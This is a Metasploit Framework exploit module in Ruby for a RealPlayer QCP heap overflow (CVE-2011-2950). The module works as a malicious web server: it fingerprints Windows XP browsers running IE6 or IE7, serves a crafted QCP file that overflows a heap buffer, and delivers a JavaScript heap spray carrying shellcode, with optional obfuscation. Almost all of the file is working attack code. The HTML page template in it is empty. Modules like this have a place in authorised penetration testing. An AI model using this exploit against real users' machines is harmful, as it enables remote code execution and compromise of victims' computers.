##
# $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow",
'Description' => %q{
This module exploits a heap overflow in Realplayer when handling a .QCP file.
The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
allocated on the heap and user-supplied data from the file is copied within a
memory copy loop.
This allows a remote attacker to execute arbitrary code running in the context
of the web browser via a .QCP file with a specially crafted "fmt" chunk.
At this moment this module exploits the flaw on Windows XP IE6, IE7.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13745 $",
'Author' =>
[
'Sean de Regge', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2011-2950'],
['OSVDB', '74549'],
['BID', '49172'],
# ZDI advisory
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],
# Vendor advisory
['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
#Fix commit
['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
],
'DisclosureDate' => "Aug 16 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(cli, request)
#Default target
my_target = target
vprint_status("User-Agent: #{request.headers['User-Agent']}")
if target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP + IE 6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP + IE 7.0
my_target = targets[2]
elsif agent =~ /RMA/
#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
#when requesting our trigger file
return 'RMA'
else
#If we don't recognize the client, we don't fire the exploit
my_target = nil
end
end
return my_target
end
def exploit
#Set trigger file name
@filename = rand_text_alpha(rand(6) + 3)
#Create the trigger file
@trigger = build_trigger
super
end
def on_request_uri(cli, request)
#Pick the right target
vprint_status("Selecting target...")
my_target = get_target(cli, request)
if my_target.nil?
print_error("Target not supported")
send_not_found(cli)
return
end
vprint_status("URL: #{request.uri.to_s}")
#Send the trigger file upon request
if request.uri.match(/\.qcp$/)
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
return
end
vprint_status("Building shellcode...")
code = Rex::Text.to_unescape(payload.encoded)
vprint_status("Building spray...")
spray = build_spray(my_target, code)
#obfuscate on demand
vprint_status("Obfuscating javascript...")
if datastore['OBFUSCATE']
spray = Rex::Exploitation::JSObfu.new(spray)
spray.obfuscate
end
vprint_status("Building html...")
#Value for the 'Src' parameter of our ActiveX control
trigger_file = ""
if ("/" == get_resource[-1,1])
trigger_file = get_resource[0, get_resource.length - 1]
else
trigger_file = get_resource
end
trigger_file << "/#{@filename}.qcp"
html = <<-EOS
EOS
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
def build_trigger()
overflow_size = 700
overflow_string = "\x11" * 700
#riff_mark
trigger = "\x52\x49\x46\x46"
#total_size
trigger << [0xed44 + overflow_size].pack("V")
#qlcm_tag
trigger << "\x51\x4c\x43\x4d"
#fmt_tag
trigger << "\x66\x6d\x74\x20"
#fmt_size
trigger << [0x96 + overflow_size].pack("V")
#fmt_content
trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00"
trigger << overflow_string
#vrat_tag
trigger << "\x76\x72\x61\x74"
#vrat_size
trigger << [0x8].pack("V")
#vrat_content
trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
#data_tag
trigger << "\x64\x61\x74\x61"
#data_size
trigger << [0xec8a].pack("V")
#data_content
trigger << rand_text_alpha(0xec8a)
return trigger
end
def build_spray(mytarget, code)
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{mytarget['Nops']}");
while (nops.length < 0x10000) nops += nops;
offset = nops.substring(0, 0x7BE0);
var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);
while (shellcode.length < 0x20000) shellcode += shellcode;
block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1400; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray)
return spray
end
end